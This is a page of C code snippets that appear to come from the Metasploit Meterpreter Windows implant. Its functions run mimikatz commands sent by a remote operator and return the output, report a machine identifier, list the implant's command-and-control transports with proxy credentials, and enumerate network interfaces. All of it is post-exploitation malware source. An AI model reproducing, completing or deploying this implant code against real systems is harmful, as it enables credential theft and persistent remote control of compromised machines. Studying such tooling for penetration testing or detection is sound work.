Example #1
0
/*!
 * @brief Handler for the generic command execution function.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming packet.
 * @returns \c ERROR_SUCCESS
 */
DWORD request_exec_cmd(Remote *remote, Packet *packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet * response = packet_create_response(packet);

	wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
	if (cmd != NULL)
	{
		dprintf("[KIWI] Executing command: %S", cmd);

		// While this implies that powershell is in use, this is just a naming thing,
		// it's not actually using powershell.
		wchar_t* output = powershell_reflective_mimikatz(cmd);
		if (output != NULL)
		{
			packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
		}
		else
		{
			result = ERROR_OUTOFMEMORY;
		}
		free(cmd);
	}
	else
	{
		result = ERROR_INVALID_PARAMETER;
	}

	dprintf("[KIWI] Dumped, transmitting response.");
	packet_transmit_response(result, remote, response);
	dprintf("[KIWI] Done.");

	return ERROR_SUCCESS;
}
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
{
	DWORD res = ERROR_SUCCESS;
	Packet* pResponse = packet_create_response(pPacket);

	if (pResponse)
	{
		wchar_t buffer[MAX_PATH];
		if (GetSystemDirectory(buffer, MAX_PATH) != 0)
		{
			wchar_t computerName[MAX_PATH];
			DWORD computerNameSize = MAX_PATH;
			DWORD serialNumber;
			wchar_t* backslash = wcschr(buffer, L'\\');
			*(backslash + 1) = L'\0';

			GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0);

			GetComputerName(computerName, &computerNameSize);

			_snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName);
			packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer);
			dprintf("[CORE] sending machine id: %S", buffer);
		}

		packet_transmit_response(res, pRemote, pResponse);
	}

	return ERROR_SUCCESS;
}
Example #3
0
DWORD remote_request_core_transport_list(Remote* remote, Packet* packet)
{
	DWORD result = ERROR_SUCCESS;
	Packet* response = NULL;

	do
	{
		response = packet_create_response(packet);

		if (!response)
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Add the session timeout to the top level
		packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());

		Transport* current = remote->transport;
		Transport* first = remote->transport;

		do
		{
			Packet* transportGroup = packet_create_group();

			if (!transportGroup)
			{
				// bomb out, returning what we have so far.
				break;
			}

			dprintf("[DISPATCH] Adding URL %S", current->url);
			packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url);
			dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms);
			dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total);
			dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait);
			packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait);

			if (current->type != METERPRETER_TRANSPORT_SSL)
			{
				HttpTransportContext* ctx = (HttpTransportContext*)current->ctx;
				dprintf("[DISPATCH] Transport is HTTP/S");
				if (ctx->ua)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua);
				}
				if (ctx->proxy)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy);
				}
				if (ctx->proxy_user)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user);
				}
				if (ctx->proxy_pass)
				{
					packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass);
				}
				if (ctx->cert_hash)
				{
					packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
				}
			}

			packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup);

			current = current->next_transport;
		} while (first != current);
	} while (0);

	if (response)
	{
		packet_transmit_response(result, remote, response);
	}

	return result;
}
DWORD get_interfaces(Remote *remote, Packet *response)
{
	DWORD result = ERROR_SUCCESS;

	ULONG flags = GAA_FLAG_INCLUDE_PREFIX
		| GAA_FLAG_SKIP_DNS_SERVER
		| GAA_FLAG_SKIP_MULTICAST
		| GAA_FLAG_SKIP_ANYCAST;

	LPSOCKADDR sockaddr;

	ULONG family = AF_UNSPEC;
	IP_ADAPTER_ADDRESSES *pAdapters = NULL;
	IP_ADAPTER_ADDRESSES *pCurr = NULL;
	ULONG outBufLen = 0;
	DWORD(WINAPI *gaa)(DWORD, DWORD, void *, void *, void *);

	// Use the newer version so we're guaranteed to have a large enough struct.
	// Unfortunately, using these probably means it won't compile on older
	// versions of Visual Studio.  =(
	IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr = NULL;
	IP_ADAPTER_UNICAST_ADDRESS_LH *pPref = NULL;
	// IP_ADAPTER_PREFIX is only defined if NTDDI_VERSION > NTDDI_WINXP
	// Since we request older versions of things, we have to be explicit
	// when using newer structs.
	IP_ADAPTER_PREFIX_XP *pPrefix = NULL;

	// We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct
	// to tell us if we're on Vista or not because it always comes out at 48 bytes
	// so we have to check the version manually.
	OSVERSIONINFOEX v;

	gaa = (DWORD(WINAPI *)(DWORD, DWORD, void*, void*, void*))GetProcAddress(
		GetModuleHandle("iphlpapi"), "GetAdaptersAddresses");
	if (!gaa)
	{
		dprintf("[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_mib");
		return get_interfaces_mib(remote, response);
	}

	gaa(family, flags, NULL, pAdapters, &outBufLen);
	if (!(pAdapters = malloc(outBufLen)))
	{
		return ERROR_NOT_ENOUGH_MEMORY;
	}

	if (gaa(family, flags, NULL, pAdapters, &outBufLen))
	{
		result = GetLastError();
		goto out;
	}

	dprintf("[INTERFACE] pAdapters->Length = %d", pAdapters->Length);
	// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
	// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
	// value, which is 72 in XP without an SP, but 144 in later versions.
	if (pAdapters->Length <= 72)
	{
		dprintf("[INTERFACE] PIP_ADAPTER_PREFIX is missing");
		result = get_interfaces_mib(remote, response);
		goto out;
	}

	// we'll need to know the version later on
	memset(&v, 0, sizeof(v));
	v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
	GetVersionEx((LPOSVERSIONINFO)&v);

	// Enumerate the entries
	for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next)
	{
		// Save the first prefix for later in case we don't have an OnLinkPrefixLength
		pPrefix = pCurr->FirstPrefix;

		Packet* group = packet_create_group();

		dprintf("[INTERFACE] Adding index: %u", pCurr->IfIndex);
		packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, pCurr->IfIndex);

		dprintf("[INTERFACE] Adding MAC");
		packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)pCurr->PhysicalAddress, pCurr->PhysicalAddressLength);

		dprintf("[INTERFACE] Adding Description");
		packet_add_tlv_wstring(group, TLV_TYPE_MAC_NAME, pCurr->Description);

		dprintf("[INTERFACE] Adding MTU: %u", pCurr->Mtu);
		packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, pCurr->Mtu);

		for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
			pAddr; pAddr = pAddr->Next)
		{
			sockaddr = pAddr->Address.lpSockaddr;
			if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family)
			{
				// Skip interfaces that aren't IP
				continue;
			}

			DWORD prefix = 0;
			if (v.dwMajorVersion >= 6) {
				// Then this is Vista+ and the OnLinkPrefixLength member
				// will be populated
				dprintf("[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength);
				prefix = htonl(pAddr->OnLinkPrefixLength);
			}
			else if (pPrefix)
			{
				dprintf("[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength);
				prefix = htonl(pPrefix->PrefixLength);
			}
			else
			{
				dprintf("[INTERFACES] < Vista, no prefix");
				prefix = 0;
			}

			if (prefix)
			{
				dprintf("[INTERFACE] Adding Prefix: %x", prefix);
				// the UINT value is already byte-swapped, so we add it as a raw instead of
				// swizzling the bytes twice.
				packet_add_tlv_raw(group, TLV_TYPE_IP_PREFIX, (PUCHAR)&prefix, sizeof(prefix));
			}

			if (sockaddr->sa_family == AF_INET)
			{
				dprintf("[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr);
				packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr), 4);
			}
			else
			{
				dprintf("[INTERFACE] Adding IPv6 Address");
				packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr), 16);
				packet_add_tlv_raw(group, TLV_TYPE_IP6_SCOPE, (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id), sizeof(DWORD));
			}

		}
		// Add the interface group
		packet_add_group(response, TLV_TYPE_NETWORK_INTERFACE, group);
	}

out:
	free(pAdapters);

	return result;
}